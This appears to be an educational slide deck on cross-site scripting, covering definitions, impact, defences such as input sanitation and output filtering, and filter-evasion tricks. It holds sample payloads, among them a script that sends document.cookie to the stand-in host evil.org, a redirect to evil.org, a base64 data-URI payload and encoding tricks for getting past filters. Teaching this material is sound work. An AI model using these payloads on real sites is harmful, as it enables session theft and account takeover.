Cross Site Scripting

First Some Credit
- David Zimmer: “Real World XSS” article.
- Gunter Ollmann: “HTML Code Injection and XSS”
- Amit Klein: “XSS Explained”
- GNUCITIZEN.ORG

Definition of XSS
- An app level attack
- Involves 3 parties
- Want diverse and personalized delivery
- but web app fails to validate user supplied input
- Marc Slemko: XSS doesn’t have to be XS, or S.
- Goal: STEAL!!!

Example
- vulscript at vulsite, reads HTTP req, echoes back w/o first sanitizing...
  - GET /vulscript.cgi?name=dylim
  - HTTP/1.0
  - Host: www.vulsite.org
  - <HTML><Title>Welcome</Title> Hi dylim…</HTML>
- Attacker can craft link which causes the web browser to access vulsite, invoke vulscript, with data=evilscript.
- Note that evilscript can access my cookies related to vulsite.

Example cont’d
- Such a link could be:
  - http://www.vulsite.org/vulscript.cgi?name=
    <script>alert(document.cookie)</script>
  - Or

Variations
- Other HTML tags
  - <b onMouseOver="self.location.href=http://evil.org/">bolded text</b>
- POST, HTTP headers (referrer), path of HTTP req (e.g. if error page returns the erroneous path)
- Typical formatting
  - <img src="malicious.js">
  - <script>alert('hacked')</script>
  - <iframe src="malicious.js"></iframe>
  - <script>document.write('<img src="http://evil.org/"+document.cookie+")</script>
  - <a href="javascript:...">click-me</a>
Variations
- Flash! attack...
  - ActionScript, getURL()

What about...
- data:text/html;base64,PHNjcmlwdD4NCmFsZXJ0KCJTZWxmLWNvbnRhaW5lZCBYU1MiKTsNCjwvc2NyaXB0Pg==
  - Self contained! i.e. doesn’t require vulnerable web resource to echo input.
  - allows dynamic creation of binary files from JavaScript (can create files containing malicious payload for exploiting overflow vulnerabilities.)

XSS as an attack vector
Strengths
- Can include very large audience w one injection point
- Can force users to some action, and access info they can access
- Can be hard to detect and slipped in quietly
- Can be powerful for info display and alteration.

Weaknesses
- 95% can be avoided with proper filtering on any user supplied data (several tools)

Impact
- Theft of Account/Services
- User Tracking/Stats
- Browser/User exploitation
- Credentialed Misinformation
- Free Information Dissemination

Together with Phishing, etc...
- Only here! By everything for cheap.msg
- PayPal Urgent Problems with Account Information.msg
- Save the world.msg

Securing a site
- Input sanitation
  - Programmer needs to cover all possible input sources (query params, HTTP headers, etc)
  - Useless against vulnerabilities in 3rd party scripts/servers (e.g. err pages)
- Output filtering,
- App firewalls
  - Can cover all input methods in a generic way.
  - Intercepts XSS attacks b4 they reach server.
Injection Points

- **Active XSS attacks**
  - Parameters passed in thru query string arguments that get written directly to a page.
  - Any where an html form can be injected and have the user click a submit button
- **Passive XSS attacks**
  - Database storage!
  - Error pages!

Filtering

- Do you want to deny users the ability to use any form of HTML?
  - If not, what do you filter?
    - `<plaintext>`
    - 10M x 10M image of attacker

Filtering

- **Img src and href...**
  - Parse out src= element and validate it:
    - Remove quotes
    - Deny urls with ? Querystring ids, make sure no .cgi, .pl, etc.
    - Check the protocol and deny everything except http

Many ways to circumvent

- Simple filtering `< and >`
  - Use `\x3c` and `\x3e`
- Commenting out malicious code
  - Just close the comment filter:
    - `<script>---</comment>`...
  - Separate window handling
    - `<a href="javascript:"...">click-me</a>` becomes:
      - `<a href="javascript:" target="_blank">click-me</a>`
    - `<a href="javascript:"..." foo="bar">click-me</a>`
    - `<a href="javascript:"..." foo="bar" target="_blank">click-me</a>`

XSS tips and tricks.

- **Script injection in an image src tag..**
- **Embed nested quotes..**
  - `\"` or `\'`, or `\u0022` `\u0027`
- **Keyword filters that allow any js to execute are useless:**
  - `A = 'navi'; B = 'gator.userAgent'; alert(eval(A+B))`

XSS tips and tricks..

- Limited input length + script block embed = unlimited script power (script src=)
- SSL pages warn if script src comes from untrusted site,
  - but if you can upload say img that is actually .js commands...
- methods of script encoding.
  - `<img src="vbscript:do%63ument.lo%63ation="http://a.b.com"">`
  - `<IMG SRC="javascript:alert(\"test\")">`
  - `<IMG SRC="javascript:alert(\"test\")">`
  - Line break trick
Tools..

- AppShield, AppScan by Sanctum
- WebInspect
- Utilities by David Zimmer
  - E.g. script encoding
- XSS cheat sheet
  [http://ha.ckers.org/xss.html](http://ha.ckers.org/xss.html)
- XSS Shell, Backweb, XSS proxy, BEEF...